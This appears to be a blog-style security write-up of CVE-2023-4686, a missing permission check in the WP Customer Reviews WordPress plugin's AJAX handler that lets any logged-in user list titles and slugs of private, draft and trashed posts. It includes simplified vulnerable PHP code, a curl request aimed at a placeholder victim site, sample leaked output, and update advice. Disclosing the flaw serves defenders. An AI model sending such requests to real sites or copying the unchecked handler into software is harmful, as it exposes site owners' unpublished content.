Summary:
CVE-2023-4686 is a documented vulnerability affecting the popular WordPress plugin *WP Customer Reviews* (versions up to and including 3.6.6). This flaw lets logged-in users extract sensitive information like post titles and slugs—including hidden, private, and trashed content—through the plugin’s ajax_enabled_posts function. Below, you’ll find how the bug works, exploit examples, and tips to stay safe.
Quick Intro: What’s the Plugin?
WP Customer Reviews helps WordPress site owners get and manage user reviews. It’s active on over 40,000 sites.
What’s the Problem?
The plugin registers an AJAX handler, ajax_enabled_posts, that’s supposed to make user-posted reviews easier to manage. But it exposes title and slug data for all posts—even those not meant for public view—if queried by an authenticated user (anyone with a WordPress login).
Why Should I Care?
Private, trashed, and protected pages and custom posts can contain sensitive stuff (like drafts, secrets, unreleased features, or even gallery setups not yet public). Leaking these via AJAX means a rogue user could discover those unpublished plans or sensitive business info.
Exposing Data via AJAX
The /wp-admin/admin-ajax.php endpoint is used by lots of plugins for handling backend requests. WP Customer Reviews registers an action called wpcr_ajax_enabled_posts. If you’re logged in—even just as a subscriber—you can send a POST request to this action and get back information that should *not* be public.
Let’s look at the relevant code, simplified from WP Customer Reviews 3.6.6:
// In wp-customer-reviews.php
add_action('wp_ajax_wpcr_ajax_enabled_posts', 'wpcr_ajax_enabled_posts');
function wpcr_ajax_enabled_posts() {
// No permission checks!
$args = array(
'post_type' => 'any',
'post_status' => 'any',
'posts_per_page' => -1
);
$posts = get_posts($args);
$output = array();
foreach ($posts as $post) {
$output[] = array(
'title' => $post->post_title,
'slug' => $post->post_name
);
}
echo json_encode($output);
wp_die();
}
See the problem? It fetches all posts, of any type and any status, without checking if the requester is an admin or editor. And then it prints out the title and slug of *everything*.
Any *authenticated* user (with login access) can use a simple script to dump these
curl -X POST \
-d "action=wpcr_ajax_enabled_posts" \
-b 'wordpress_logged_in_xxxxx=xxxxxx' \
https://victim-site.com/wp-admin/admin-ajax.php
- The response will be a big JSON listing titles and slugs, *including private stuff*
[
{"title": "Draft - New Campaign", "slug": "draft-new-campaign"},
{"title": "SECRET GALLERY", "slug": "secret-gallery"},
{"title": "My Trashed Post", "slug": "my-trashed-post"},
...
]
This lets attackers scan for sensitive, unlisted, or deleted content.
Exposing private or internal drafts
Any logged-in low-level account—even a new subscriber—could run this attack.
Solution and Mitigation
- Update! The issue was fixed in version 3.6.7.
References
- Wordfence Advisory & Analysis
- CVE Details: CVE-2023-4686
- WP Customer Reviews changelog
Final Thoughts
CVE-2023-4686 is a classic example of why plugins must *always* check permissions—never trust AJAX requests just because the user is logged in! If you run WP Customer Reviews or let people sign up on your site, update right now.
Stay safe and keep your WordPress core & plugins patched!
Timeline
Published on: 11/22/2023 16:15:09 UTC
Last modified on: 11/27/2023 22:09:43 UTC